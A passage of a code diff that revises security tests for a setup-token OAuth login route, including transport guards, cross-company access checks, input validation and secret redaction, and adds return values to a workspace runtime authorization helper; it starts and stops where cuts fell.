-    await settle();
-
-    // The request log holds no secret, and it did log the redacted request body,
-    // so the check is not vacuous.
-    const logText = logLines.join("\n");
-    expectNoSecret(logText);
-    expect(logText).toContain("[REDACTED]");
-
-    // No activity detail holds a secret.
-    const activityText = JSON.stringify(mockLogActivity.mock.calls);
-    expectNoSecret(activityText);
-  });
-
-  it("keeps the code out of the exception metadata on the internal-error path", async () => {
-    const transport = buildTransport({ onSubmit: "throw" });
-    const { app, logLines } = await createApp({ transport });
-
-    const startRes = await request(app).post(BASE).send({});
-    const sessionId = startRes.body.sessionId as string;
-
-    const errorRes = await request(app).post(`${BASE}/${sessionId}/code`).send({ browserCode: BROWSER_CODE });
-    expect(errorRes.status).toBe(500);
-    expect(errorRes.body.error).toBe("Internal server error");
-    expectNoSecret(JSON.stringify(errorRes.body));
-
-    await settle();
-    const logText = logLines.join("\n");
-    expectNoSecret(logText);
-  });
-});
-
-describe("setup-token login route — SR-6 and SR-7 (fail-closed transport guard)", () => {
-  it("rejects a non-TLS confidential request and a spoofed forwarded protocol", async () => {
-    // Authenticated mode with no proxy allowlist: a loopback HTTP peer does not
-    // pass the confidential guard, so read-prompt and receive-token fail closed.
-    const transport = buildTransport({ onSubmit: "complete" });
-    const { app } = await createApp({ transport, deploymentMode: "authenticated", confidentialProxyAllowlist: [] });
-
-    const startRes = await request(app).post(BASE).send({});
-    const sessionId = startRes.body.sessionId as string;
-
-    // read-prompt over plain HTTP → fixed no-secret error, no URL.
-    const promptRes = await request(app).get(`${BASE}/${sessionId}/prompt`).send();
-    expect(promptRes.status).toBe(403);
-    expect(promptRes.body.error).toBe(SETUP_TOKEN_TRANSPORT_INSECURE);
-    expect(promptRes.headers["cache-control"]).toBe("no-store");
-    expect(promptRes.body.loginUrl).toBeUndefined();
-    expectNoSecret(JSON.stringify(promptRes.body));
-
-    // A spoofed forwarded protocol does not unlock the response. The guard reads
-    // the raw socket, not the header, unless the peer is on the allowlist.
-    const spoofRes = await request(app)
-      .get(`${BASE}/${sessionId}/prompt`)
-      .set("X-Forwarded-Proto", "https")
-      .send();
-    expect(spoofRes.status).toBe(403);
-    expect(spoofRes.body.error).toBe(SETUP_TOKEN_TRANSPORT_INSECURE);
-    expectNoSecret(JSON.stringify(spoofRes.body));
-
-    // submit-code over plain HTTP → the guard fails closed. The browser code is
-    // the confidential OAuth secret, so it must never ride an untrusted transport.
-    // A spoofed forwarded protocol does not unlock it either. The code never
-    // reaches the transport.
-    const codeRes = await request(app).post(`${BASE}/${sessionId}/code`).send({ browserCode: BROWSER_CODE });
-    expect(codeRes.status).toBe(403);
-    expect(codeRes.body.error).toBe(SETUP_TOKEN_TRANSPORT_INSECURE);
-    expectNoSecret(JSON.stringify(codeRes.body));
-
-    const spoofCodeRes = await request(app)
-      .post(`${BASE}/${sessionId}/code`)
-      .set("X-Forwarded-Proto", "https")
-      .send({ browserCode: BROWSER_CODE });
-    expect(spoofCodeRes.status).toBe(403);
-    expect(spoofCodeRes.body.error).toBe(SETUP_TOKEN_TRANSPORT_INSECURE);
-    expectNoSecret(JSON.stringify(spoofCodeRes.body));
+    // The owner reads the session again. It is still active, so the cross-owner
+    // cancel did not terminate it.
+    useOwner(OWNER_USER_ID);
+    const ownerStatus = await request(app).get(`${COMPANY_BASE}/${sessionId}`).send();
+    expect(ownerStatus.status).toBe(200);
+    expect(ownerStatus.body.status).toBe("waiting_for_user");
 
     expect(transport.submittedCodes).toEqual([]);
-
-    // receive-token over plain HTTP also fails closed and leaks no token.
-    const tokenRes = await request(app)
-      .post(`${BASE}/${sessionId}/token`)
-      .set("X-Forwarded-Proto", "https")
-      .send({});
-    expect(tokenRes.status).toBe(403);
-    expect(tokenRes.body.error).toBe(SETUP_TOKEN_TRANSPORT_INSECURE);
-    expect(tokenRes.body.token).toBeUndefined();
-    expectNoSecret(JSON.stringify(tokenRes.body));
   });
 
-  it("ignores a forwarded protocol from a non-allowlisted peer", async () => {
-    // A non-empty allowlist that does not match the loopback peer still fails
-    // closed for a forwarded HTTPS protocol.
+  it("returns the same not-found for a cross-company caller", async () => {
     const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+
+    // The same owner reads the session under a different company path. The
+    // session belongs to the first company, so the read returns the not-found
+    // error and never confirms the session across a company boundary.
+    const crossCompanyBase = `/api/companies/${OTHER_COMPANY_ID}/setup-token-login-sessions`;
+    const res = await request(app).get(`${crossCompanyBase}/${sessionId}`).send();
+    expect(res.status).toBe(404);
+    expect(res.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+  });
+
+  it("returns the fixed not-found for a non-member on every action across a company boundary", async () => {
+    const transport = buildTransport({ onSubmit: "complete" });
+    const { app } = await createApp({ transport });
+
+    // A member of one company starts the session in that company.
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+
+    // A signed-in board member of the first company reads the session under a
+    // second company it is not a member of. The company reference is a
+    // cross-company reference. The route must return the same fixed not-found
+    // error as a missing session, so it is not a company-membership oracle. It
+    // must not return a 403, a login URL, a token, or the browser code forward.
+    useCompanyMember(OWNER_USER_ID, [COMPANY_ID]);
+    const crossCompanyBase = `/api/companies/${OTHER_COMPANY_ID}/setup-token-login-sessions`;
+    const paths: Array<() => request.Test> = [
+      () => request(app).get(`${crossCompanyBase}/${sessionId}`).send(),
+      () => request(app).get(`${crossCompanyBase}/${sessionId}/prompt`).send(),
+      () => request(app).post(`${crossCompanyBase}/${sessionId}/code`).send({ browserCode: BROWSER_CODE }),
+      () => request(app).post(`${crossCompanyBase}/${sessionId}/completion`).send(),
+      () => request(app).post(`${crossCompanyBase}/${sessionId}/cancel`).send(),
+    ];
+    for (const call of paths) {
+      const res = await call();
+      expect(res.status).toBe(404);
+      expect(res.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+      expect(res.body.authorizationUrl).toBeUndefined();
+      expect(res.body.loginUrl).toBeUndefined();
+      expect(res.body.token).toBeUndefined();
+      expect(res.body.storedSessionId).toBeUndefined();
+      expectNoSecret(JSON.stringify(res.body));
+    }
+    // The code route returned the not-found error before it forwarded the code,
+    // so the login process received no submit.
+    expect(transport.submittedCodes).toEqual([]);
+  });
+
+  it("rejects an adapter whose login capability does not match the setup-token guard", async () => {
+    // The Codex adapter declares a streamed-exec device login, not a
+    // pseudo-terminal setup-token login. The guard reads the capability, so it
+    // rejects the adapter with a fixed 400 before any session.
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const res = await startCompanySession(app, {
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "codex_local",
+    });
+    expect(res.status).toBe(400);
+    // The route rejected the adapter before it started a session, so the store
+    // holds no record.
+    expect(transport.records).toEqual([]);
+  });
+
+  it("starts a setup-token login for a third adapter that declares the capability", async () => {
+    // A third adapter, not the Claude adapter, declares the pseudo-terminal
+    // setup-token capability with the stored-session claim. The guard reads the
+    // capability, not the adapter name, so the adapter passes the guard and
+    // starts a session. This proves no adapter-name branch remains in the guard
+    // path. The start response reads the panel mode from the capability.
+    mockFindActiveServerAdapter.mockImplementation((type: string) =>
+      type === "gemini_local"
+        ? {
+            type,
+            loginCapability: { ...CLAUDE_LOGIN_CAPABILITY, panelMode: "displayed_code" },
+          }
+        : undefined,
+    );
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const res = await startCompanySession(app, {
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "gemini_local",
+    });
+    expect(res.status, JSON.stringify(res.body)).toBe(201);
+    expect(res.body.panelMode).toBe("displayed_code");
+    expect(res.body.status).toBe("waiting_for_user");
+  });
+});
+
+describe("company-and-environment setup-token route — idempotent cancel", () => {
+  it("cancels an active session, then returns 200 on a repeat cancel", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+
+    // The first cancel terminates the active session and returns success.
+    const firstCancel = await request(app).post(`${COMPANY_BASE}/${sessionId}/cancel`).send();
+    expect(firstCancel.status).toBe(200);
+    expect(firstCancel.headers["cache-control"]).toBe("no-store");
+    await settle();
+
+    // The server removed the terminal session, so the status read now returns the
+    // not-found error. This is the state the panel used to poll forever.
+    const statusRes = await request(app).get(`${COMPANY_BASE}/${sessionId}`).send();
+    expect(statusRes.status).toBe(404);
+
+    // The repeat cancel finds no record. It returns the same 200 success instead
+    // of a hard 404, so the client can stop the poll.
+    const repeatCancel = await request(app).post(`${COMPANY_BASE}/${sessionId}/cancel`).send();
+    expect(repeatCancel.status).toBe(200);
+    expect(repeatCancel.headers["cache-control"]).toBe("no-store");
+    expectNoSecret(JSON.stringify(repeatCancel.body));
+  });
+
+  it("returns 200 for a cancel of an unknown session id", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    // The owner is a member of the company, but the session id never existed. The
+    // cancel is idempotent, so it returns success, not a 404.
+    const res = await request(app)
+      .post(`${COMPANY_BASE}/00000000-0000-4000-8000-000000000000/cancel`)
+      .send();
+    expect(res.status).toBe(200);
+    expect(res.headers["cache-control"]).toBe("no-store");
+    expectNoSecret(JSON.stringify(res.body));
+  });
+});
+
+describe("company-and-environment setup-token route — fail-closed environment", () => {
+  it("rejects a missing environment and writes no scope", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+    mockEnvironmentService.getById.mockResolvedValue(null);
+
+    const res = await startCompanySession(app);
+    expect(res.status).toBe(422);
+    // The route rejected the environment before it started a session, so no
+    // store holds an empty environment scope.
+    expect(transport.records).toEqual([]);
+  });
+
+  it("rejects an absent environment id in the request body", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const res = await startCompanySession(app, { adapterType: "claude_local" });
+    expect(res.status).toBe(400);
+    expect(transport.records).toEqual([]);
+  });
+
+  it("rejects an archived, a local, an ssh, and a fake-provider environment", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const cases = [
+      { id: ENVIRONMENT_ID, driver: "sandbox", status: "archived", config: { provider: "kubernetes" } },
+      { id: ENVIRONMENT_ID, driver: "local", status: "active", config: {} },
+      { id: ENVIRONMENT_ID, driver: "ssh", status: "active", config: {} },
+      { id: ENVIRONMENT_ID, driver: "sandbox", status: "active", config: { provider: "fake" } },
+    ];
+    for (const environment of cases) {
+      mockEnvironmentService.getById.mockResolvedValueOnce(environment);
+      const res = await startCompanySession(app);
+      expect(res.status, JSON.stringify(environment)).toBe(422);
+    }
+    // No rejected environment reached the store.
+    expect(transport.records).toEqual([]);
+  });
+
+  it("rejects an environment that another company owns", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+    // The environment binds to another company only, so the request company does
+    // not own it. The guard fails closed before the session starts.
+    mockEnvironmentService.listBoundCompanyIds.mockResolvedValue([OTHER_COMPANY_ID]);
+
+    const res = await startCompanySession(app);
+    expect(res.status).toBe(403);
+    expect(res.body.error).toBe("The selected environment belongs to another company.");
+    // No rejected environment reached the store.
+    expect(transport.records).toEqual([]);
+  });
+
+  it("accepts an environment the request company also owns", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+    // The environment binds to the request company and another company. A shared
+    // managed sandbox binds to many companies at once, so a co-owned binding
+    // stays open to the request company.
+    mockEnvironmentService.listBoundCompanyIds.mockResolvedValue([OTHER_COMPANY_ID, COMPANY_ID]);
+
+    const res = await startCompanySession(app);
+    expect(res.status).toBe(201);
+  });
+
+  it("rejects a provider without the setup-token login capability and starts no session", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+    // The resolved environment runs on a provider that does not advertise the
+    // setup-token login capability. The guard fails closed before a session row,
+    // a lease, or a pseudo-terminal.
+    mockEnvironmentService.getById.mockResolvedValue({
+      id: ENVIRONMENT_ID,
+      driver: "sandbox",
+      status: "active",
+      config: { provider: "e2b" },
+    });
+
+    const res = await startCompanySession(app);
+    expect(res.status, JSON.stringify(res.body)).toBe(422);
+    expect(res.body.error).toBe(SETUP_TOKEN_PROVIDER_UNSUPPORTED);
+    // No session row, no lease, and no pseudo-terminal started.
+    expect(transport.records).toEqual([]);
+    expect(transport.factoryInvocations.count).toBe(0);
+    expect(transport.submittedCodes).toEqual([]);
+    expect(transport.secretWrites).toEqual([]);
+  });
+});
+
+describe("company-and-environment setup-token route — browser-code grammar", () => {
+  it("rejects a missing, an oversized, and a control-byte code before it forwards", async () => {
+    const transport = buildTransport({ onSubmit: "complete" });
+    const { app } = await createApp({ transport });
+
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+
+    // A missing code.
+    const missing = await request(app).post(`${COMPANY_BASE}/${sessionId}/code`).send({});
+    expect(missing.status).toBe(400);
+
+    // An oversized code (one character over the bounded maximum).
+    const oversized = await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: "a".repeat(513) });
+    expect(oversized.status).toBe(400);
+
+    // A control byte and a space are both rejected.
+    for (const badCode of ["abc\ndef", "abc def"]) {
+      const res = await request(app)
+        .post(`${COMPANY_BASE}/${sessionId}/code`)
+        .send({ browserCode: badCode });
+      expect(res.status).toBe(400);
+    }
+
+    // No malformed code reached the live login process.
+    expect(transport.submittedCodes).toEqual([]);
+  });
+});
+
+describe("company-and-environment setup-token route — strict request contract", () => {
+  it("rejects a legacy ttlSeconds at start before any session or lease side effect", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const res = await startCompanySession(app, {
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+      ttlSeconds: 300,
+    });
+    // The strict validator rejects the unknown field with a fixed 400.
+    expect(res.status).toBe(400);
+    // No session row, no lease, and no pseudo-terminal started.
+    expect(transport.records).toEqual([]);
+    expect(transport.factoryInvocations.count).toBe(0);
+  });
+
+  it("rejects an unknown field at start before any session or lease side effect", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const res = await startCompanySession(app, {
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+      agentId: "44444444-4444-4444-8444-444444444444",
+    });
+    expect(res.status).toBe(400);
+    expect(transport.records).toEqual([]);
+    expect(transport.factoryInvocations.count).toBe(0);
+  });
+
+  it("rejects an unknown field on the browser-code route before it forwards", async () => {
+    const transport = buildTransport({ onSubmit: "complete" });
+    const { app } = await createApp({ transport });
+
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+
+    const res = await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: BROWSER_CODE, ttlSeconds: 300 });
+    expect(res.status).toBe(400);
+    // The unknown field failed the strict parse before the code reached the
+    // live login process.
+    expect(transport.submittedCodes).toEqual([]);
+  });
+});
+
+describe("company-and-environment setup-token route — advisory transport", () => {
+  it("proceeds on a non-TLS prompt and code request and attaches the advisory", async () => {
+    const transport = buildTransport({ onSubmit: "complete" });
     const { app } = await createApp({
       transport,
       deploymentMode: "authenticated",
-      confidentialProxyAllowlist: ["10.0.0.1"],
+      confidentialProxyAllowlist: [],
     });
 
-    const startRes = await request(app).post(BASE).send({});
+    const startRes = await startCompanySession(app);
     const sessionId = startRes.body.sessionId as string;
 
-    const promptRes = await request(app)
-      .get(`${BASE}/${sessionId}/prompt`)
-      .set("X-Forwarded-Proto", "https")
-      .send();
-    expect(promptRes.status).toBe(403);
-    expect(promptRes.body.error).toBe(SETUP_TOKEN_TRANSPORT_INSECURE);
-    expectNoSecret(JSON.stringify(promptRes.body));
+    // The prompt over plain HTTP surfaces the URL with the advisory. The URL
+    // query is the owner-only confidential value, so the body holds it by design.
+    const promptRes = await request(app).get(`${COMPANY_BASE}/${sessionId}/prompt`).send();
+    expect(promptRes.status).toBe(200);
+    expect(promptRes.body.authorizationUrl).toBe(FULL_LOGIN_URL);
+    expect(promptRes.body.transportAdvisory).toEqual({ code: SETUP_TOKEN_TRANSPORT_ADVISORY_CODE });
+
+    // The code over plain HTTP proceeds. The code reaches the process and the
+    // response carries the advisory.
+    const codeRes = await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: BROWSER_CODE });
+    expect(codeRes.status).toBe(200);
+    expect(codeRes.body.transportAdvisory).toEqual({ code: SETUP_TOKEN_TRANSPORT_ADVISORY_CODE });
+    expect(transport.submittedCodes).toEqual([BROWSER_CODE]);
+    expectNoSecret(JSON.stringify(codeRes.body));
+  });
+
+  it("attaches no advisory when the operator declares platform edge TLS termination", async () => {
+    // A managed-platform deployment: TLS terminates at the platform edge, the
+    // app socket is plain HTTP, and the operator set
+    // CLAUDE_LOGIN_EDGE_TLS_TERMINATED. The prompt and code responses carry no
+    // advisory, so the client shows no clear-text warning for a connection that
+    // is HTTPS to the user.
+    const transport = buildTransport({ onSubmit: "complete" });
+    const { app } = await createApp({
+      transport,
+      deploymentMode: "authenticated",
+      confidentialProxyAllowlist: [],
+      confidentialEdgeTlsTerminated: true,
+    });
+
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+
+    const promptRes = await request(app).get(`${COMPANY_BASE}/${sessionId}/prompt`).send();
+    expect(promptRes.status).toBe(200);
+    expect(promptRes.body.authorizationUrl).toBe(FULL_LOGIN_URL);
+    expect(promptRes.body.transportAdvisory).toBeNull();
+
+    const codeRes = await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: BROWSER_CODE });
+    expect(codeRes.status).toBe(200);
+    expect(codeRes.body.transportAdvisory).toBeNull();
+    expect(transport.submittedCodes).toEqual([BROWSER_CODE]);
+    expectNoSecret(JSON.stringify(codeRes.body));
+  });
+});
+
+// The stored-token status route and the overwrite capture are the two deltas of
+// the apply-stored-token-first flow. The status route derives the owner from the
+// actor and discloses no existence distinction. The start route threads the
+// confirmed-overwrite capture into the immutable session scope, so the final
+// secret write rotates the stored value instead of a first write.
+
+const STATUS_BASE = `/api/companies/${COMPANY_ID}/claude-oauth-token-status`;
+const STORED_SECRET_ID = "44444444-4444-4444-8444-444444444444";
+
+describe("company-and-environment stored-token status route", () => {
+  it("returns the owner metadata with no token and no-store, and never a token", async () => {
+    mockSecretService.readClaudeOAuthUserSecretStatus.mockResolvedValue({
+      secretId: STORED_SECRET_ID,
+      latestVersion: 3,
+    });
+    const { app } = await createApp({});
+
+    const res = await request(app).get(STATUS_BASE).send();
+    expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(res.body).toEqual({ secretId: STORED_SECRET_ID, latestVersion: 3 });
+    expect(res.headers["cache-control"]).toBe("no-store");
+    // The owner comes from the actor, never from the request.
+    expect(mockSecretService.readClaudeOAuthUserSecretStatus).toHaveBeenCalledWith(
+      COMPANY_ID,
+      OWNER_USER_ID,
+    );
+    // The response carries no token.
+    expectNoSecret(JSON.stringify(res.body));
+  });
+
+  it("returns the fixed not-found for an owner with no value", async () => {
+    mockSecretService.readClaudeOAuthUserSecretStatus.mockResolvedValue(null);
+    const { app } = await createApp({});
+
+    const res = await request(app).get(STATUS_BASE).send();
+    expect(res.status).toBe(404);
+    expect(res.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+    expect(res.headers["cache-control"]).toBe("no-store");
+  });
+
+  it("gives a same-company other user no existence distinction", async () => {
+    // The route derives the owner from the actor. The service returns the value
+    // only for the real owner, so a same-company other user gets the same fixed
+    // not-found as an owner with no value.
+    mockSecretService.readClaudeOAuthUserSecretStatus.mockImplementation(
+      async (_companyId: string, ownerUserId: string) =>
+        ownerUserId === OWNER_USER_ID ? { secretId: STORED_SECRET_ID, latestVersion: 1 } : null,
+    );
+    const { app } = await createApp({});
+
+    const ownerRes = await request(app).get(STATUS_BASE).send();
+    expect(ownerRes.status).toBe(200);
+
+    // A different same-company user reads the same path. The route derives the
+    // owner as that user and gets the fixed not-found.
+    useOwner(OTHER_USER_ID);
+    const otherRes = await request(app).get(STATUS_BASE).send();
+    expect(otherRes.status).toBe(404);
+    expect(otherRes.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+    expect(otherRes.headers["cache-control"]).toBe("no-store");
+  });
+
+  it("gives a cross-company caller the fixed not-found and never reads the value", async () => {
+    // A signed-in board user who is not a member of the company. The company
+    // gate returns the fixed not-found before any owner-value read runs.
+    useCompanyMember(OWNER_USER_ID, [OTHER_COMPANY_ID]);
+    const { app } = await createApp({});
+
+    const res = await request(app).get(STATUS_BASE).send();
+    expect(res.status).toBe(404);
+    expect(res.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+    expect(res.headers["cache-control"]).toBe("no-store");
+    // The route never reads the owner value for a non-member.
+    expect(mockSecretService.readClaudeOAuthUserSecretStatus).not.toHaveBeenCalled();
+  });
+});
+
+describe("company-and-environment login overwrite capture", () => {
+  it("threads the confirmed-overwrite capture into the session scope", async () => {
+    const transport = buildTransport({ onSubmit: "complete" });
+    const { app } = await createApp({ transport });
+
+    const startRes = await startCompanySession(app, {
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+      overwrite: { expectedSecretId: STORED_SECRET_ID, expectedLatestVersion: 2 },
+    });
+    expect(startRes.status, JSON.stringify(startRes.body)).toBe(201);
+    const sessionId = startRes.body.sessionId as string;
+
+    await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: BROWSER_CODE });
+    await settle();
+
+    // The secret write ran with the overwrite capture from the session scope, so
+    // the writer selects a confirmed rotation instead of a first write.
+    expect(transport.secretWrites).toEqual([MINTED_TOKEN]);
+    expect(transport.overwriteCaptures).toEqual([
+      { expectedSecretId: STORED_SECRET_ID, expectedLatestVersion: 2 },
+    ]);
+  });
+
+  it("carries no overwrite capture for a plain first-write login", async () => {
+    const transport = buildTransport({ onSubmit: "complete" });
+    const { app } = await createApp({ transport });
+
+    const startRes = await startCompanySession(app);
+    const sessionId = startRes.body.sessionId as string;
+    await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: BROWSER_CODE });
+    await settle();
+
+    expect(transport.overwriteCaptures).toEqual([null]);
+  });
+
+  it("rejects a malformed overwrite capture with a fixed 400", async () => {
+    const transport = buildTransport({ onSubmit: "pending" });
+    const { app } = await createApp({ transport });
+
+    const res = await startCompanySession(app, {
+      environmentId: ENVIRONMENT_ID,
+      adapterType: "claude_local",
+      overwrite: { expectedSecretId: "not-a-uuid", expectedLatestVersion: 0 },
+    });
+    expect(res.status).toBe(400);
+    // The malformed-capture 400 is a request-validation error like the adapter
+    // and the environment checks; it carries no secret in the response body.
+    expectNoSecret(JSON.stringify(res.body));
   });
 });
diff --git a/server/src/routes/workspace-runtime-service-authz.ts b/server/src/routes/workspace-runtime-service-authz.ts
index d6f3939eb5e..eb365231df0 100644
--- a/server/src/routes/workspace-runtime-service-authz.ts
+++ b/server/src/routes/workspace-runtime-service-authz.ts
@@ -8,15 +8,21 @@ import { assertCompanyAccess, hasCompanyAccess } from "./authz.js";
 import { parseProjectExecutionWorkspacePolicy } from "../services/execution-workspace-policy.js";
 import { isLowTrustRuntimeManagementAllowed } from "../services/low-trust-runtime-containment.js";
 import { resolveCoreTrustPreset, type TrustPresetResolution } from "../services/trust-preset-resolver.js";
+import { WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES } from "../services/workspace-runtime-leases.js";
 import { readObject } from "../lib/objects.js";
 
-const WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES: string[] = [
-  "backlog",
-  "todo",
-  "in_progress",
-  "in_review",
-  "blocked",
-];
+const WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUS_LIST: string[] = [...WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES];
+
+/**
+ * Identity of the actor authorized to drive a workspace runtime control, resolved once
+ * so the durable runtime lease and the authorization decision agree on who is calling.
+ */
+export type WorkspaceRuntimeControlAuthorization = {
+  actorType: string;
+  agentId: string | null;
+  runId: string | null;
+  issueId: string | null;
+};
 
 function readRunIssueId(context: Record<string, unknown> | null) {
   const directIssueId = context?.issueId;
@@ -68,7 +74,7 @@ async function assertAgentCanManageRuntimeServicesForWorkspace(
     executionWorkspaceId?: string | null;
     sourceIssueId?: string | null;
   },
-) {
+): Promise<{ runIssueId: string | null }> {
   if (req.actor.type !== "agent" || !req.actor.agentId) {
     throw forbidden("Agent authentication required");
   }
@@ -112,11 +118,12 @@ async function assertAgentCanManageRuntimeServicesForWorkspace(
     runExecutionPolicy,
   });
 
+  const runIssueId = readRunIssueId(runContext);
+
   if (actorAgent.role === "ceo" && actorRuntimeTrust.kind === "standard") {
-    return;
+    return { runIssueId };
   }
 
-  const runIssueId = readRunIssueId(runContext);
   const runScopedIssue = runIssueId
     ? await db
         .select({
@@ -171,7 +178,7 @@ async function assertAgentCanManageRuntimeServicesForWorkspace(
     .where(and(
       eq(issues.companyId, input.companyId),
       isNull(issues.hiddenAt),
-      inArray(issues.status, WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES),
+      inArray(issues.status, WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUS_LIST),
       workspaceScopeCondition,
     ));
 
@@ -185,7 +192,7 @@ async function assertAgentCanManageRuntimeServicesForWorkspace(
   }
 
   if (actorAgent.role === "ceo") {
-    return;
+    return { runIssueId };
   }
 
   const eligibleAgentIds = await listReportingSubtreeAgentIds(db, input.companyId, actorAgent.id);
@@ -202,7 +209,7 @@ async function assertAgentCanManageRuntimeServicesForWorkspace(
     .where(and(
       eq(issues.companyId, input.companyId),
       isNull(issues.hiddenAt),
-      inArray(issues.status, WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUSES),
+      inArray(issues.status, WORKSPACE_RUNTIME_ELIGIBLE_ISSUE_STATUS_LIST),
       inArray(issues.assigneeAgentId, eligibleAgentIds),
       workspaceScopeCondition,
     ))
@@ -215,7 +222,7 @@ async function assertAgentCanManageRuntimeServicesForWorkspace(
       projectExecutionWorkspacePolicy: linkedIssue.projectExecutionWorkspacePolicy,
       runExecutionPolicy,
     });
-    return;
+    return { runIssueId };
   }
 
   throw forbidden("Missing permission to manage workspace runtime services");
@@ -321,11 +328,19 @@ export async function assertCanManageExecutionWorkspaceRuntimeServices(
     executionWorkspaceId: string;
     sourceIssueId?: string | null;
   },
-) {
+): Promise<WorkspaceRuntimeControlAuthorization> {
   if (!hasCompanyAccess(req, input.companyId)) {
     throw notFound("Execution workspace not found");
   }
   assertCompanyAccess(req, input.companyId);
-  if (req.actor.type === "board") return;
-  await assertAgentCanManageRuntimeServicesForWorkspace(db, req, input);
+  if (req.actor.type === "board") {
+    return { actorType: "board", agentId: null, runId: null, issueId: null };
+  }
+  const { runIssueId } = await assertAgentCanManageRuntimeServicesForWorkspace(db, req, input);
+  return {
+    actorType: req.actor.type,
+    agentId: req.actor.agentId ?? null,
+    runId: req.actor.runId ?? null,
+    issueId: runIssueId,
+  };
 }
diff --git a/server/src/services/adapter-login-lease.test.ts b/server/src/services/adapter-login-lease.test.ts
new file mode 100644
index 00000000000..5a0d6984aa2
--- /dev/null
+++ b/server/src/services/adapter-login-lease.test.ts
@@ -0,0 +1,81 @@
+import { describe, expect, it } from "vitest";
+import type { Environment } from "@paperclipai/shared";
+import { buildLoginLeaseAcquireArgs } from "./adapter-login-lease.js";
+
+// A minimal environment stand-in. The helper copies the reference without a
+// read, so the test does not need a full environment row.
+const ENVIRONMENT = { id: "env-1", name: "Sandbox", driver: "sandbox" } as unknown as Environment;
+
+describe("buildLoginLeaseAcquireArgs", () => {
+  it("sets the fixed lease arguments that both login services share", () => {
+    const args = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT, adapterType: "codex" },
+    });
+
+    // A null issue, a null heartbeat run, and a null execution workspace disable
+    // lease reuse, so the login session always runs in a fresh sandbox.
+    expect(args.issueId).toBeNull();
+    expect(args.heartbeatRunId).toBeNull();
+    expect(args.persistedExecutionWorkspace).toBeNull();
+    // The helper applies the active custom-image template for both services.
+    expect(args.applyCustomImageTemplate).toBe(true);
+  });
+
+  it("passes the lease metadata through to the acquire arguments", () => {
+    const args = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT, adapterType: "claude" },
+    });
+
+    expect(args.companyId).toBe("co-1");
+    expect(args.environment).toBe(ENVIRONMENT);
+    expect(args.adapterType).toBe("claude");
+  });
+
+  it("defaults the adapter type to null when the caller omits it", () => {
+    const args = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+    });
+
+    expect(args.adapterType).toBeNull();
+  });
+
+  it("passes the target agent through to the lease agent and defaults to null", () => {
+    const withAgent = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+      targetAgentId: "agent-7",
+    });
+    expect(withAgent.agentId).toBe("agent-7");
+
+    const withoutAgent = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+    });
+    expect(withoutAgent.agentId).toBeNull();
+  });
+
+  it("passes the company-binding assertion through and leaves it unset by default", () => {
+    const asserted = buildLoginLeaseAcquireArgs({
+      metadata: { companyId: "co-1", environment: ENVIRONMENT },
+      assertCompanyBinding: true,
+    });
+    expect(asserted.assertCompanyBinding).toBe(true);
+
+    const unset = buildLoginLeaseAcquireArgs({
